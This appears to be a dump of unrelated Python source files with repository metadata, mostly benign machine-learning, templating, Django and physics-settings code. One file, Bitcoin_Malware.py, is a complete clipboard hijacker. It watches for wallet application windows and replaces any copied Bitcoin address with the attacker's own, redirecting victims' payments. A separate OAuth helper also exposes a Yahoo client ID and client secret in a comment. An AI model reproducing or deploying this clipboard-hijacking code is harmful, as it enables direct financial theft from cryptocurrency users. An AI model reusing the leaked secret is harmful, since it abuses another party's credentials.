pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) lim = int(pct_train * len(names)) idxs = np.arange(len(names)) np.random.shuffle(idxs) naming = TokenCodeNamingData(names[idxs[:lim]], code[idxs[:lim]]) return naming.get_data_for_convolution(names[idxs[:lim]], code[idxs[:lim]], names_cx_size, min_code_size),\ naming.get_data_for_convolution(names[idxs[lim:]], code[idxs[lim:]], names_cx_size, min_code_size), naming @staticmethod def get_data_in_copy_convolution_format_with_validation(input_file, names_cx_size, pct_train, min_code_size): assert pct_train < 1 assert pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) lim = int(pct_train * len(names)) idxs = np.arange(len(names)) np.random.shuffle(idxs) naming = TokenCodeNamingData(names[idxs[:lim]], code[idxs[:lim]]) return naming.get_data_for_copy_convolution(names[idxs[:lim]], code[idxs[:lim]], names_cx_size, min_code_size),\ naming.get_data_for_copy_convolution(names[idxs[lim:]], code[idxs[lim:]], names_cx_size, min_code_size), naming def get_data_for_copy_convolution(self, names, code, name_cx_size, sentence_padding): assert len(names) == len(code), (len(names), len(code), code.shape) name_targets = [] original_targets = [] name_contexts = [] original_names_ids = [] code_sentences = [] original_code = [] copy_vector = [] target_is_unk = [] padding = [self.all_tokens_dictionary.get_id_or_unk(self.NONE)] for i, name in enumerate(names): code_sentence = [self.all_tokens_dictionary.get_id_or_unk(t) for t in code[i]] if sentence_padding % 2 == 0: code_sentence = padding * (sentence_padding / 2) + code_sentence + padding * (sentence_padding / 2) else: code_sentence = padding * (sentence_padding / 2 + 1) + code_sentence + padding * (sentence_padding / 2) for j in xrange(1, len(name)): # First element should always be predictable (ie sentence start) name_targets.append(self.all_tokens_dictionary.get_id_or_unk(name[j])) original_targets.append(name[j]) target_is_unk.append(self.all_tokens_dictionary.is_unk(name[j])) original_names_ids.append(i) context = name[:j] if len(context) < name_cx_size: context = [self.NONE] * (name_cx_size - len(context)) + context else: context = context[-name_cx_size:] assert len(context) == name_cx_size, (len(context), name_cx_size,) name_contexts.append([self.name_dictionary.get_id_or_unk(t) for t in context]) code_sentences.append(np.array(code_sentence, dtype=np.int32)) original_code.append(code[i]) tokens_to_be_copied = [t == name[j] for t in code[i]] copy_vector.append(np.array(tokens_to_be_copied, dtype=np.int32)) name_targets = np.array(name_targets, dtype=np.int32) name_contexts = np.array(name_contexts, dtype=np.int32) code_sentences = np.array(code_sentences, dtype=np.object) original_names_ids = np.array(original_names_ids, dtype=np.int32) copy_vector = np.array(copy_vector, dtype=np.object) target_is_unk = np.array(target_is_unk, dtype=np.int32) return name_targets, original_targets, name_contexts, code_sentences, original_code, copy_vector, target_is_unk, original_names_ids def get_suggestions_given_name_prefix(self, next_name_log_probs, name_cx_size, max_predicted_identifier_size=5, max_steps=100): suggestions = defaultdict(lambda: float('-inf')) # A list of tuple of full suggestions (token, prob) # A stack of partial suggestion in the form ([subword1, subword2, ...], logprob) possible_suggestions_stack = [ ([self.NONE] * (name_cx_size - 1) + [self.SUBTOKEN_START], [], 0)] # Keep the max_size_to_keep suggestion scores (sorted in the heap). Prune further exploration if something has already # lower score predictions_probs_heap = [float('-inf')] max_size_to_keep = 15 nsteps = 0 while True: scored_list = [] while len(possible_suggestions_stack) > 0: subword_tokens = possible_suggestions_stack.pop() # If we're done, append to full suggestions if subword_tokens[0][-1] == self.SUBTOKEN_END: final_prediction = tuple(subword_tokens[1][:-1]) if len(final_prediction) == 0: continue log_prob_of_suggestion = np.logaddexp(suggestions[final_prediction], subword_tokens[2]) if log_prob_of_suggestion > predictions_probs_heap[0] and not log_prob_of_suggestion == float('-inf'): # Push only if the score is better than the current minimum and > 0 and remove extraneous entries suggestions[final_prediction] = log_prob_of_suggestion heapq.heappush(predictions_probs_heap, log_prob_of_suggestion) if len(predictions_probs_heap) > max_size_to_keep: heapq.heappop(predictions_probs_heap) continue elif len(subword_tokens[1]) > max_predicted_identifier_size: # Stop recursion here continue # Convert subword context context = [self.name_dictionary.get_id_or_unk(k) for k in subword_tokens[0][-name_cx_size:]] assert len(context) == name_cx_size context = np.array([context], dtype=np.int32) # Predict next subwords target_subword_logprobs = next_name_log_probs(context) def get_possible_options(name_id): # TODO: Handle UNK differently? subword_name = self.all_tokens_dictionary.get_name_for_id(name_id) if subword_name == self.all_tokens_dictionary.get_unk(): subword_name = "***" name = subword_tokens[1] + [subword_name] return subword_tokens[0][1:] + [subword_name], name, target_subword_logprobs[0, name_id] + \ subword_tokens[2] top_indices = np.argsort(-target_subword_logprobs[0]) possible_options = [get_possible_options(top_indices[i]) for i in xrange(max_size_to_keep)] # Disallow suggestions that contain duplicated subtokens. scored_list.extend(filter(lambda x: len(x[1])==1 or x[1][-1] != x[1][-2], possible_options)) # Prune scored_list = filter(lambda suggestion: suggestion[2] >= predictions_probs_heap[0] and suggestion[2] >= float('-inf'), scored_list) scored_list.sort(key=lambda entry: entry[2], reverse=True) # Update possible_suggestions_stack = scored_list[:max_size_to_keep] nsteps += 1 if nsteps >= max_steps: break # Sort and append to predictions suggestions = [(identifier, np.exp(logprob)) for identifier, logprob in suggestions.items()] suggestions.sort(key=lambda entry: entry[1], reverse=True) # print suggestions return suggestions

51.953744

143

0.644338

3,038

23,587

4.682357

0.087558

0.022777

0.020387

0.035571

0.68471

0.651107

0.624394

0.603866

0.578278

0.554517

0

0.008087

0.255607

23,587

453

144

52.068433

0.802085

0.061347

0

0.497222

0

0.003678

0

0.002208

0.061111

1

0.069444

false

0

0.019444

0.002778

0.166667

0

null

0

null

0

1

0

a82c44a1683f511d5f99fbda3a6f12bd84f86c4c

550

py

Python

test_word.py

AsherSeiling/Ap-hug-Vocab-database

fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a

[ "MIT" ]

null

test_word.py

AsherSeiling/Ap-hug-Vocab-database

fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a

[ "MIT" ]

1

2021-02-27T06:12:07.000Z

2021-03-01T14:32:39.000Z

test_word.py

AsherSeiling/Ap-hug-Vocab-database

fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a

[ "MIT" ]

1

2021-02-27T06:14:55.000Z

words = open("words.txt", "r") words = [x.rstrip("\n") for x in words.readlines()] refwords = open("referencewords.txt", "r") refwords = [x.strip("\n") for x in refwords.readlines()] def find_word(word): retunrval = False if word.lower() in words: retunrval = True return retunrval words_needed = [] def main(): for items in refwords: buffer = "" for i in items: if i != " ": buffer += i testword = find_word(buffer.lower()) if testword == False: words_needed.append(items.lower()) main() for i in words_needed: print(i)

20.37037

56

0.650909

81

550

4.358025

0.37037

0.05949

0.028329

0.03966

0

0.187273

550

27

57

20.37037

0.789709

0

0.061706

0

1

0.090909

false

0

0.136364

0.045455

0

null

0

null

0

1

0

a82ef552d3bf70dc77e897c13a1b0f9b584ffa9d

3,359

py

Python

src/keras_networks.py

RU-IIPL/2DLD_keras

8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf

[ "MIT" ]

1

2021-05-24T08:00:29.000Z

src/keras_networks.py

RU-IIPL/2DLD_keras

8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf

[ "MIT" ]

null

src/keras_networks.py

RU-IIPL/2DLD_keras

8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf

[ "MIT" ]

1

2021-09-29T03:43:46.000Z

# -*- coding: utf-8 -*- """ @author: Terada """ from keras.models import Sequential, Model from keras.layers import Dense, MaxPooling2D, Flatten, Dropout from keras.layers import Conv2D, BatchNormalization, ZeroPadding2D, MaxPool2D from keras.layers import Input, Convolution2D, AveragePooling2D, merge, Reshape, Activation, concatenate from keras.regularizers import l2 #from keras.engine.topology import Container def net7(input_size): model = Sequential() model.add(Conv2D(32, (3, 3), activation='relu', input_shape=(input_size[0], input_size[1], 1))) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(32, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Flatten()) model.add(Dense(1000, activation='relu')) model.add(Dense(500, activation='relu')) model.add(Dense(28)) return model def lenet(input_size): model = Sequential() model.add(Conv2D(20, kernel_size=5, strides=1, activation='relu', input_shape=(input_size[0], input_size[1], 1))) model.add(MaxPooling2D(2, strides=2)) model.add(Conv2D(50, kernel_size=5, strides=1, activation='relu')) model.add(MaxPooling2D(2, strides=2)) model.add(Flatten()) model.add(Dense(500, activation='relu')) model.add(Dense(28)) #activation='softmax' return model def alexnet(input_size): model = Sequential() model.add(Conv2D(48, 11, strides=3, activation='relu', padding='same', input_shape=(input_size[0], input_size[1], 1))) model.add(MaxPooling2D(3, strides=2)) model.add(BatchNormalization()) model.add(Conv2D(128, 5, strides=3, activation='relu', padding='same')) model.add(MaxPooling2D(3, strides=2)) model.add(BatchNormalization()) model.add(Conv2D(192, 3, strides=1, activation='relu', padding='same')) model.add(Conv2D(192, 3, strides=1, activation='relu', padding='same')) model.add(Conv2D(128, 3, strides=1, activation='relu', padding='same')) model.add(MaxPooling2D(3, strides=2)) model.add(BatchNormalization()) model.add(Flatten()) model.add(Dense(2048, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(2048, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(28)) #activation='softmax' return model def malti_net(input_size): inputs = Input(shape=(input_size[0], input_size[1], 1)) conv1 = Conv2D(18, (3, 3), activation='relu')(inputs) pool1 = MaxPooling2D(pool_size=(2, 2))(conv1) conv2 = Conv2D(32, (3, 3), activation='relu')(pool1) pool2 = MaxPooling2D(pool_size=(2, 2))(conv2) conv3 = Conv2D(32, (3, 3), activation='relu')(pool2) pool3 = MaxPooling2D(pool_size=(2, 2))(conv3) conv4 = Conv2D(64, (3, 3), activation='relu')(pool3) pool4 = MaxPooling2D(pool_size=(2, 2))(conv4) flat1 = Flatten()(pool4) fc1 = Dense(1000, activation='relu')(flat1) fc2 = Dense(500, activation='relu')(fc1) x_main = Dense(28, name='main')(fc2) x_sub1 = Dense(2, name='sub1', activation='softmax')(fc2) x_sub2 = Dense(5, name='sub2', activation='softmax')(fc2) model = Model(inputs=inputs, outputs=[x_main, x_sub1, x_sub2]) return model

42.518987

122

0.677583

469

3,359

4.784648

0.181237

0.128342

0.068627

0.088235

0.665775

0.620321

0.566845

0.487077

0.4541

0.407754

0

0.072772

0.144984

3,359

78

123

43.064103

0.708565

0.036023

0

0.514706

0

0.041525

0

1

0.058824

false

0

0.073529

0

0.191176

0

null

0

null

0

1

0

a830be9674eca4b0486b3f40d92cbb270322784c

2,327

py

Python

Bitcoin_Malware.py

Ismael-Safadi/Bitcoin-Wallet-address-spoofer

16b92d5538d10a2b14ee1fed441a25bdb33a2e67

[ "MIT" ]

7

2019-03-04T14:28:53.000Z

2022-01-31T12:11:53.000Z

Bitcoin_Malware.py

Ismael-Safadi/Bitcoin-Wallet-address-spoofer

16b92d5538d10a2b14ee1fed441a25bdb33a2e67

[ "MIT" ]

null

Bitcoin_Malware.py

Ismael-Safadi/Bitcoin-Wallet-address-spoofer

16b92d5538d10a2b14ee1fed441a25bdb33a2e67

[ "MIT" ]

4

2019-03-04T14:29:01.000Z

2022-01-31T12:11:40.000Z

# Coded By : Ismael Al-safadi from win32gui import GetWindowText, GetForegroundWindow from pyperclip import copy from re import findall from win32clipboard import OpenClipboard , GetClipboardData , CloseClipboard from time import sleep class BitcoinDroper: """ class for spoofing Bitcoin Wallet address . Methods : check_active_window : for check active window. check_bitcoin_wallet : This method will check if the copied data right now is as Bitcoin Wallet address or not. return_copied_wallet : this function will return the old address . spoof_wallet : Function for change address to your. get_old_wallet : Function for getting the old address . spoofing_done : Function to show if spoofing done or not . """ def __init__(self): # You can add many of bitcoin wallets names into the list self.list_of_btc = ['blockchain','exodus','coinbase','electrum' , 'bitcoin','bitstamp'] self.destination_address = "Your Bitcoin address wallet" self.done = False def check_active_window(self): window = (GetWindowText(GetForegroundWindow())[0:44]) window = str(window).lower() if any(ext in window for ext in self.list_of_btc): return True else: return False def check_bitcoin_wallet(self): OpenClipboard() data = GetClipboardData() CloseClipboard() l = findall('[a-zA-Z0-9]{34}', data) if len(l) == 1: return True else: return False def return_copied_wallet(self): copy(self.old_wallet) def spoof_wallet(self): copy(self.destination_address) self.done = True def get_old_wallet(self): OpenClipboard() self.old_wallet = GetClipboardData() CloseClipboard() def spoofing_done(self): return self.done a = BitcoinDroper() while True: if a.check_active_window() and a.check_bitcoin_wallet(): if not a.spoofing_done(): a.get_old_wallet() a.spoof_wallet() elif a.spoofing_done(): if a.check_bitcoin_wallet() and not a.check_active_window(): a.return_copied_wallet() sleep(2)

31.026667

96

0.628277

277

2,327

5.108303

0.34657

0.055124

0.060071

0.018375

0.039576

0

0.007932

0.29566

2,327

74

97

31.445946

0.8554

0.243661

0

0.212766

0

0.054434

0

1

0.148936

false

0

0.106383

0.021277

0.382979

0

null

0

null

0

1

0

a8347276bdea4347d1187329f50e22db158c90b3

5,096

py

Python

Stock_Programs/myOauth.py

timwroge/DeepPurple

3d6f3203938853ede654ef4f88b7451a1ba3999e

[ "Apache-2.0" ]

4

2020-02-13T18:57:41.000Z

2020-08-03T21:08:26.000Z

Stock_Programs/myOauth.py

timwroge/DeepPurple

3d6f3203938853ede654ef4f88b7451a1ba3999e

[ "Apache-2.0" ]

null

Stock_Programs/myOauth.py

timwroge/DeepPurple

3d6f3203938853ede654ef4f88b7451a1ba3999e

[ "Apache-2.0" ]

1

2021-06-14T13:42:39.000Z

import urllib.parse, urllib.request,json import time import hmac, hashlib,random,base64 #yahoo stuff #client ID dj0yJmk9S3owYWNNcm1jS3VIJmQ9WVdrOU1HMUZiMHh5TjJNbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD0xOQ-- #client secret ID fcde44eb1bf2a7ff474b9fd861a6fcf33be56d3f def setConsumerCreds(cons_key,cons_secret): global consumerKey global consumerSecret consumerKey = cons_key consumerSecret = cons_secret def set_access_token(key,secret): global accessToken global accessTokenSecret accessToken = key accessTokenSecret = secret def get_base_string(resourceUrl, values,method="POST"): baseString = method+"&"+url_encode(resourceUrl) + "&" sortedKeys = sorted(values.keys()) for i in range(len(sortedKeys)): baseString += url_encode(sortedKEys[i] + "=") + url_encode(url_encode(values[sortedKeys[i]])) if i < len(sortedKeys) - 1: baseString += url_encode("&") return baseString def add_oauth_parameters(parameters, addAccessToken = True): parameters["oauth_consumer_key"] = consumerKey if (addAccessToken): parameters["oauth_token"] = accessToken parameters["oauth_version"] = "1.0" parameters["oauth_nonce"] = str(get_nonce()) parameters["oauth_timestamp"] = str(get_timestamp()) parameters["oauth_signature_method"]= "HMAC-SHA1" def get_nonce(): return random.randint(1,999999999) def get_timestamp(): return int(time.time()) def get_signature(signingKey,stringToHash): hmacAlg = hmac.HMAC(signingKey,stringToHash,hashlib.sha1) return base64.b64encode(hmacAlg.digest()) def url_encode(data): return urllib.parse.quote(data,"") def build_oauth_headers(parameters): header = "OAuth " sortedKeys = sorted(parameters.keys()) for i in range(len(sortedKeys)): header = header+ url_encode(sortedKeys[i]) + "=\"" + url_encode(parameters[sortedKeys[i]]) + "\"" if i < len(sortedKeys) - 1: header = header + "," return header ##### ACTUAL FUNCTIONS def get_authorization_url(resourceUrl,endpointUrl,callbackUrl): oauthParameters = {} add_oauth_parameters(oauthParameters, False) oauthParameters["oauth_callback"] = callbackUrl baseString = get_base_string(resourceUrl,OauthParameters) signingKey = consumerSecret + "&" oauthParameters["oauth_signature"] = get_signature(signingKey,baseString) headers = build_oauth_headers(oauthParameters) httpRequest = urllib.request.Request(resourceUrl) httpRequest.add_header("Authorization",headers) try: httpResponse = urllib.request.urlopen(httpRequest) except urllib.request.HTTPError as e: return "Response: %s" % e.read() responseData = httpResponse.read() responseParameters = responseData.split("&") for string in responseParameters: if string.find("oauth_token_secret") -1: requestTokenSecret = string.split("=")[1] elif string.find("oauth_token") -1: requestToken = string.split("=")[1] return endpointUrl+"?oauth_token="+requestToken def get_access_token(resourceUrl, requestTok, requestTokSecret, oauth_verifier): global requestToken,requestTokenSecret,accessToken,accessTokenSecret requestToken = requestTok requestTokenSecret = requestTokSecret oauthParmeters = {"oauth_verfier" : oauth_verifier,"oauth_token":requestToken} add_oauth_paremeters(oauthParameters,False) baseString = get_base_string(resourceUrl,oauthParameters) signingKey = consumerSecret + "&" + requestTokenSecret oauthParameters["oauth_signature"] = get_signature(signingKey,baseString) header = build_oauth_headers(oauthParameters) httpRquest = urllib.request.Request(resourceUrl) httpRequest.add_header("Authorization",header) httpResponse = urllib.request.urlopen(httpRequest) responseParameters = httpResponse.read().split("&") for string in responseParameters: if string.find("oauth_token_secret")-1: accessTokenSecret = string.split("=")[1] elif string.find("oauth_token")-1: accessToken = string.split("=")[1] def get_api_response(resourceUrl,method="POST",parameters={}): add_oauth_parameters(parameters) baseString = get_base_string(resourceUrl,parameters,method) signingKey = consumerSecret + "&" + accessTokenSecret parameters["oauth_signature"] = get_signature(signingKey,baseString) parameters2 = {} for string in sorted(parameters.keys()): if string.finds("oauth_") == 1: parameters2[s] = parameters.pop(s) header = build_oauth_headers(parameters) httpRequest = urllib.request.Request(resourceUrl,urllib.parse.urlencode(parameters2)) httpRequest.add_header("Authorization",header) httpResponse = urllib.request.urlopen(httpRequest) respStr = httpResponse.read() def yqlQuery(query): baseUrl = "https://query.yahooapis.com/v1/public/yql?" searchUrl = baseUrl + urllib.parse.quote(query) result= urllib.request.urlopen(searchUrl).read() data = json.loads(result) return data["query"]["results"]

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116

0.724882

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5,096

6.978764

0.247104

0.032365

0.014385

0.026556

0.296819

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5,096

121

117

42.115702

0.830524

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0.238095

0

null

0

null

0

1

0

a8347a798c6edcafbe98def909244e3a366c1264

5,246

py

Python

IOController/src/UpdateManager.py

MicrosoftDX/liquidintel

8c3f840f88ca3515cc812078a620e2a845978177

[ "MIT" ]

9

2017-05-27T20:42:46.000Z

2020-11-12T21:03:28.000Z

IOController/src/UpdateManager.py

MicrosoftDX/liquidintel

8c3f840f88ca3515cc812078a620e2a845978177

[ "MIT" ]

30

2017-02-16T19:43:18.000Z

2018-01-17T21:17:01.000Z

IOController/src/UpdateManager.py

MicrosoftDX/liquidintel

8c3f840f88ca3515cc812078a620e2a845978177

[ "MIT" ]

6

2017-02-24T03:40:04.000Z

2020-11-22T20:29:11.000Z

import os, sys, logging, threading, tempfile, shutil, tarfile, inspect from ConfigParser import RawConfigParser import requests from DXLiquidIntelApi import DXLiquidIntelApi log = logging.getLogger(__name__) class UpdateManager: def __init__(self, liquidApi, packageType, checkUnpublished, packageCheckInterval, configuredInstallDir): self._liquidApi = liquidApi # We assume the last segment in the installation directory is the version label (self._baseInstallDir, self._semanticVersion) = os.path.split(self._getInstallDir(configuredInstallDir)) self._packageType = packageType self._checkUnpublished = checkUnpublished self._packageCheckInterval = packageCheckInterval self._restartRequired = False # Initial check is synchronous self.checkForNewVersion() def __enter__(self): pass def __exit__(self, type, value, traceback): if self._timer: self._timer.cancel() def checkForNewVersion(self): self._timer = None restartTimer = True log.info('Checking for newer version from package manager api') packages = self._liquidApi.getInstallationPackages(self._semanticVersion, self._packageType.value, self._checkUnpublished.value) if len(packages) > 0: log.info('New installation packages detected: %s', packages) installPackage = packages[-1] newInstallDir = os.path.join(self._baseInstallDir, installPackage["Version"]) log.info('Installing package version: %s at: %s. Download location: %s. %s', installPackage["Version"], newInstallDir, installPackage["PackageUri"], installPackage["Description"]) try: # Download the package downloadReq = requests.get(installPackage["PackageUri"], stream = True) downloadReq.raise_for_status() # Create a new installation directory, using the version label if os.path.exists(newInstallDir): log.warning('Installation directory %s already exists - this will overwrite existing contents', newInstallDir) else: os.makedirs(newInstallDir) # Assume package content is .tar.gz - unfortunately we can't stream the response directly into the tar extractor as the # HTTP response stream doesn't support seek() with tempfile.NamedTemporaryFile(prefix="package-tarball-", suffix=".tar.gz", delete=False) as fd: shutil.copyfileobj(downloadReq.raw, fd) fd.seek(0) tar = tarfile.open(fileobj=fd) tar.extractall(newInstallDir) # Point the symlink to the new directory if sys.platform != 'win32': currentSymlink = os.path.join(self._baseInstallDir, 'current') if os.path.exists(currentSymlink): os.remove(currentSymlink) os.symlink(newInstallDir, currentSymlink) # Check if this version has any configuration that we need to apply locally if 'Configuration' in installPackage and installPackage['Configuration']: configFile = os.path.join(newInstallDir, 'IOController.cfg') log.info('Writing version-specific configuration to: %s', configFile) config = RawConfigParser() # Convert from JSON form to .INI form by intepreting all object values as sections # and all others as primitive values in the parent section # Top level should be section names with values for (section, values) in installPackage['Configuration'].items(): if not isinstance(values, dict): log.warning('Package configuration for keg/section: %s does not contain an object. Non-objects are not supported.', section); else: config.add_section(section) for (setting, value) in values.items(): config.set(section, setting, value) with open(configFile, 'w') as fd: config.write(fd) self._restartRequired = True # No need to restart the timer as we're bailing on the next main loop iteration restartTimer = False except: log.warning('Failed to download installation package. Will retry on next interval.', exc_info=1) if restartTimer: self._timer = threading.Timer(self._packageCheckInterval.value, self.checkForNewVersion) self._timer.start() @property def restartRequired(self): return self._restartRequired @property def semanticVersion(self): return self._semanticVersion def _getInstallDir(self, configuredInstallDir): if configuredInstallDir or sys.platform == 'win32': return configuredInstallDir return os.path.dirname(os.path.realpath(inspect.getabsfile(UpdateManager)))

51.940594

191

0.62276

510

5,246

6.319608

0.411765

0.014893

0.009308

0.008688

0.017375

0

0.002186

0.302326

5,246

100

192

52.46

0.878415

0.138582

0

0.052632

0

0.013158

0.130551

0

1

0.092105

false

0.013158

0.052632

0.026316

0.210526

0

null

0

null

0

1

0

a834a938200061353abd64e3aa79cc1eac77b3bf

2,511

py

Python

python/jinja2_template.py

bismog/leetcode

13b8a77045f96e7c59ddfe287481f6aaa68e564d

[ "MIT" ]

null

python/jinja2_template.py

bismog/leetcode

13b8a77045f96e7c59ddfe287481f6aaa68e564d

[ "MIT" ]

null

python/jinja2_template.py

bismog/leetcode

13b8a77045f96e7c59ddfe287481f6aaa68e564d

[ "MIT" ]

1

2018-08-17T07:07:15.000Z

#!/usr/bin/env python import os from jinja2 import Environment, FileSystemLoader PATH = os.path.dirname(os.path.abspath(__file__)) env = Environment(loader=FileSystemLoader(os.path.join(PATH, 'templates'))) mac_addr = "01:23:45:67:89:01" PXE_ROOT_DIR = "/data/tftpboot" pxe_options = { 'os_distribution': 'centos7', 'path_to_vmlinuz': os.path.join(PXE_ROOT_DIR, 'node', mac_addr, 'vmlinuz'), 'path_to_initrd': os.path.join(PXE_ROOT_DIR, 'node', mac_addr, 'initrd.img'), 'path_to_kickstart_cfg': os.path.join(PXE_ROOT_DIR, 'node', mac_addr, 'ks.cfg'), 'pxe_server_ip': '128.0.0.1', 'protocol': 'nfs' } def build_pxe_config(ctxt, template): """Build the PXE boot configuration file. This method builds the PXE boot configuration file by rendering the template with the given parameters. :param pxe_options: A dict of values to set on the configuration file. :param template: The PXE configuration template. :param root_tag: Root tag used in the PXE config file. :param disk_ident_tag: Disk identifier tag used in the PXE config file. :returns: A formatted string with the file content. """ tmpl_path, tmpl_file = os.path.split(template) env = Environment(loader=FileSystemLoader(tmpl_path)) template = env.get_template(tmpl_file) return template.render(ctxt) def get_pxe_mac_path(mac, delimiter=None): """Convert a MAC address into a PXE config file name. :param mac: A MAC address string in the format xx:xx:xx:xx:xx:xx. :param delimiter: The MAC address delimiter. Defaults to dash ('-'). :returns: the path to the config file. """ if delimiter is None: delimiter = '-' mac_file_name = mac.replace(':', delimiter).lower() mac_file_name = '01-' + mac_file_name return os.path.join(PXE_ROOT_DIR, 'pxelinux.cfg', mac_file_name) def get_teml_path(): """ """ return os.path.join(PXE_ROOT_DIR, 'template', '01-xx-xx-xx-xx-xx-xx.template') #def render_template(template_filename, context): # return env.get_template(template_filename).render(context) def create_pxe_config_file(pxe_options): # fname = "output.html" cname = get_pxe_mac_path(mac_addr) tname = get_teml_path() context = { 'pxe_opts': pxe_options } with open(cname, 'w') as f: config = build_pxe_config(context, tname) f.write(config) ######################################## if __name__ == "__main__": create_pxe_config_file(pxe_options)

31

84

0.68419

364

2,511

4.486264

0.318681

0.024495

0.029394

0.22229

0.169626

0.119412

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0

0.011679

0.181601

2,511

80

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31.3875

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0

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false

0

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0

null

0

null

0

1

0

a837db7dbbd9e3811093f9342986a637e65f9e07

1,101

py

Python

school_system/users/admin.py

SanyaDeath/BIA-school-system

d07e4e86f91cf1e24c211cc9f5524c50da45b0e5

[ "BSD-3-Clause" ]

null

school_system/users/admin.py

SanyaDeath/BIA-school-system

d07e4e86f91cf1e24c211cc9f5524c50da45b0e5

[ "BSD-3-Clause" ]

null

school_system/users/admin.py

SanyaDeath/BIA-school-system

d07e4e86f91cf1e24c211cc9f5524c50da45b0e5

[ "BSD-3-Clause" ]

null

from django.contrib import admin from django.contrib.auth.admin import UserAdmin as DjangoUserAdmin from .models import Student, User admin.site.site_header = 'BIA SCHOOL SYSTEM' class UserAdmin(DjangoUserAdmin): model = User fieldsets = DjangoUserAdmin.fieldsets + ((None, { 'fields': ('role', 'middle_name', 'birth_date')}),) list_display = ('role', 'last_name', 'first_name', 'middle_name', 'birth_date') def save_model(self, request, obj, form, change): if request.user.is_teacher: obj.is_staff = True obj.save() admin.site.register(User, UserAdmin) class StudentUser(UserAdmin): model = Student fieldsets = UserAdmin.fieldsets + ((None, { 'fields': ('entry_year', 'klass')}),) list_display = ('role', 'last_name', 'first_name', 'middle_name', 'birth_date', 'entry_year', 'klass') search_fields = ('last_name', 'first_name', 'middle_name', 'entry_year', 'klass') admin.site.register(Student, StudentUser)

28.230769

66

0.613079

119

1,101

5.478992

0.411765

0.06135

0.069018

0.087423

0.197853

0.156442

0

0.254314

1,101

38

67

28.973684

0.794153

0

0.076923

0

0.197094

0

1

0.038462

false

0

0.115385

0

0.5

0

null

0

null

0

1

0

b5179adb5c10e59288f470f8fa76ecec344ba97b

1,111

py

Python

converter.py

ownerofworld/TDroidDesk

5c773f15d764e6cff468bb39ed40dca5ba07d902

[ "MIT" ]

20

2017-02-22T18:36:57.000Z

2022-03-23T11:03:35.000Z

converter.py

extratone/TDroidDesk

e778463e996368374c856e6154dc0885df1f3c11

[ "MIT" ]

3

2017-02-23T03:51:07.000Z

2017-03-26T15:06:35.000Z

converter.py

extratone/TDroidDesk

e778463e996368374c856e6154dc0885df1f3c11

[ "MIT" ]

9

2017-02-23T19:39:20.000Z

2022-01-02T03:28:01.000Z

# coding: utf-8 """Converter module.""" import util THEME = 'theme' BACKGROUND = 'background' class ThemeConverter(object): """Object that converts themes using given map file.""" def __init__(self, theme_map, transp_map): """Constructor.""" self.theme_map = theme_map self.transp_map = transp_map def convert(self, source_theme): """Create object that describes desktop theme. Arguments: source_theme - theme object """ target_theme = util.get_empty_theme() for desktop_key, att_key in self.theme_map.items(): if att_key not in source_theme[THEME]: # print('Missing {0} key in source theme'.format(att_key)) continue color = source_theme[THEME][att_key] if desktop_key in self.transp_map: alpha = self.transp_map[desktop_key] color = util.apply_transparency(color, alpha) target_theme[THEME][desktop_key] = color target_theme[BACKGROUND] = source_theme[BACKGROUND] return target_theme

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0.621062

131

1,111

5.015267

0.381679

0.100457

0.054795

0

0.002519

0.285329

1,111

41

75

27.097561

0.824937

0.212421

0

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0

1

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false

0

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0

0.263158

0

null

0

null

0

1

0

b5195d6a3d0b3fd5a3b08706a1231fda25ed0eb8

2,252

py

Python

py/DREAM/Settings/Equations/RunawayElectronDistribution.py

chalmersplasmatheory/DREAM

715637ada94f5e35db16f23c2fd49bb7401f4a27

[ "MIT" ]

12

2020-09-07T11:19:10.000Z

2022-02-17T17:40:19.000Z

py/DREAM/Settings/Equations/RunawayElectronDistribution.py

chalmersplasmatheory/DREAM

715637ada94f5e35db16f23c2fd49bb7401f4a27

[ "MIT" ]

110

2020-09-02T15:29:24.000Z

2022-03-09T09:50:01.000Z

py/DREAM/Settings/Equations/RunawayElectronDistribution.py

chalmersplasmatheory/DREAM

715637ada94f5e35db16f23c2fd49bb7401f4a27

[ "MIT" ]

3

2021-05-21T13:24:31.000Z

2022-02-11T14:43:12.000Z

import numpy as np from DREAM.Settings.Equations.EquationException import EquationException from . import DistributionFunction as DistFunc from . DistributionFunction import DistributionFunction from .. TransportSettings import TransportSettings INIT_FORWARD = 1 INIT_XI_NEGATIVE = 2 INIT_XI_POSITIVE = 3 INIT_ISOTROPIC = 4 class RunawayElectronDistribution(DistributionFunction): def __init__(self, settings, fre=[0.0], initr=[0.0], initp=[0.0], initxi=[0.0], initppar=None, initpperp=None, rn0=None, n0=None, rT0=None, T0=None, bc=DistFunc.BC_PHI_CONST, ad_int_r=DistFunc.AD_INTERP_CENTRED, ad_int_p1=DistFunc.AD_INTERP_CENTRED, ad_int_p2=DistFunc.AD_INTERP_CENTRED, ad_jac_r=DistFunc.AD_INTERP_JACOBIAN_LINEAR, ad_jac_p1=DistFunc.AD_INTERP_JACOBIAN_LINEAR, ad_jac_p2=DistFunc.AD_INTERP_JACOBIAN_LINEAR, fluxlimiterdamping=1.0): """ Constructor. """ super().__init__(settings=settings, name='f_re', grid=settings.runawaygrid, f=fre, initr=initr, initp=initp, initxi=initxi, initppar=initppar, initpperp=initpperp, rn0=rn0, n0=n0, rT0=rT0, T0=T0, bc=bc, ad_int_r=ad_int_r, ad_int_p1=ad_int_p1, ad_int_p2=ad_int_p2, fluxlimiterdamping=fluxlimiterdamping) self.inittype = INIT_FORWARD def setInitType(self, inittype): """ Specifies how the runaway electron distribution function f_re should be initialized from the runaway density n_re. :param int inittype: Flag indicating how to initialize f_re. """ self.inittype = 